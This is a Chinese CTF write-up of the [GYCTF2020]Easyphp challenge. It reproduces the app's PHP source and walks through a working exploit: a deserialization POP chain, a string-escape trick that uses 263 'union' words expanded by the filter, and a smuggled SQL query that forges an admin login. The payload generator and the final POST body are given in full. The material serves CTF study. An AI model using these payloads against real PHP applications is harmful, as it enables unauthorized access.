代码审计[二] [GYCTF2020]Easyphp -反序列化字符自增触发sql注入
代码审计
做的好难受的一道反序列化
[GYCTF2020]Easyphp
查看整个网站，尝试弱口令登录，不行。猜网页，register、upload都试了一下，发现www.zip可以下载网页源码。
login.php
<?php
require_once('lib.php');
?>
<?php
$user=new user();
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
?>
update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面，上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢！";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
lib.php
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好！".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败，错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误！');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
index.php
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好！".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败，错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误！');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
看着wp都卡半天，太难看了。
前置知识：
1. SQL 查询准备
$sql = 'select id,password from user where username=?';
- 这行代码定义了一个 SQL 查询，用于从数据库中选择用户的
id和password，条件是username等于某个值。 ?是一个占位符，用于在后续步骤中安全地插入用户输入，防止 SQL 注入攻击。
2. 预编译 SQL 查询
$result = $this->mysqli->prepare($sql);
- 使用
$this->mysqli->prepare($sql)方法预编译 SQL 查询，这是一种防止 SQL 注入的安全机制。这里假设$this->mysqli是当前类中的一个已初始化的 MySQLi 数据库连接实例。 - 预编译查询会为之后的参数绑定做准备。
3. 绑定参数
$result->bind_param('s', $this->name);
- 通过
bind_param('s', $this->name)方法，将用户名绑定到 SQL 查询中的占位符?。 's'表示绑定的参数是一个字符串类型。$this->name是当前对象的属性，假设是用户输入的用户名。
4. 执行查询
$result->execute();
- 调用
execute()方法来执行预编译的查询。
5. 绑定查询结果
$result->bind_result($idResult, $passwordResult);
bind_result()方法用于将查询返回的结果绑定到两个变量$idResult和$passwordResult。$idResult：用户的 ID。$passwordResult：用户的密码（通常是散列值）。
6. 获取查询结果
$result->fetch();
- 调用
fetch()方法，执行查询并将结果赋值到前面绑定的变量中$idResult和$passwordResult。 - 这一步从数据库中提取一行数据。
解题
然后就是按着wp答案来解释答案的过程：
首先说是将sql语句构造如下
select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?
这样子做的原因是为了给这条代码铺路$result->bind_result($idResult, $passwordResult);
他能将返回的内容绑定给$idResult, $passwordResult。
然后看回来sql语句，那个问号是个占位符。$result->bind_param('s', $this->name);这条将$name绑定给占位符，而在后续的pop链构造里，$name会被赋值为admin。这样子整条sql操作的流程就是
select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username='admin'
返回来的两个参数分别赋值给$idResult、$passwordResult（$idResult=1，$passwordResult="c4ca4238a0b923820dcc509a6f75849b" 这串md5是1的md5值）
来绕过以下代码，此时User类中的$this->id为真，$_SESSION['login']=1。（后续好像是随便输东西就能进？）此时只要输入用户名admin，密码1即可登录进去得到flag（update.php的逻辑是这样的）
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误！');
return false;
}
那现在开始就是找入口，传入数据有两个地方，一个是login.php一个是update.php。
但是通过分析login.php中可以发现他先new了一个user类并且触发了login方法，并且传入dbCtrl类中的login方法（做数据库查询），其中这个sql语句可以看出来是定死的，数据不可控，是条死路。
接着就是看到update.php可以发现他同样是new了一个user类，但是触发的是其中的update方法。
前面几步都是将$age和$nickname实例化，然后就进入new UpdateHelper环节，开始pop触发
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
整个pop流程是
UpdateHelper::__desturce(sql = new User()) => User::__toString(nickname = new Info()) => Info::__call(CtrlCase = new dbCtrl()) => login()
链子的末端一定要是dbCtrl() => login()同时login()的参数需要可控，反着来看这串pop链
需要可控的变量是$argument
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
而他的参是由user类的$this->age传来的，需要注入的地方就放在了这里。可以控制user类的$age来执行注入
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
开始构造pop链（抄来的T_T）
<?php
class User
{
public $age = null;
public $nickname = null;
public function __construct()
{
$this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$this->nickname = new Info();
}
}
class Info
{
public $CtrlCase;
public function __construct()
{
$this->CtrlCase = new dbCtrl();
}
}
class UpdateHelper
{
public $sql;
public function __construct()
{
$this->sql = new User();
}
}
class dbCtrl
{
public $name = "admin";
public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);
//O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
看回触发反序列化的点
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
上面先是序列化了一个Info类，并且让他经过safe函数过滤危险字符，再拿去反序列化。我们可以通过特定字符实现字符自增，来挤出需要的恶意代码。同时我们要将pop的链子构造成Info类中元素的样子
先拿个简单的来构造下
<?php
class Info{
public $age='1';
public $nickname='test';
public $CtrlCase;
}
$o = new Info();
echo serialize($o);
//O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:4:"test";s:8:"CtrlCase";N;}
通过控制截断
";s:8:"CtrlCase";N;} + payload，最终输出:
O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:263:"";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";N;}
可以看到我们需要逃逸263个字符，而union->hacker会自增1个字符，263个union就能成功挤出恶意payload。263×union+payload=1578个字符
最终形成如下
O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1578:"unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
update.php页面传入的payload
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
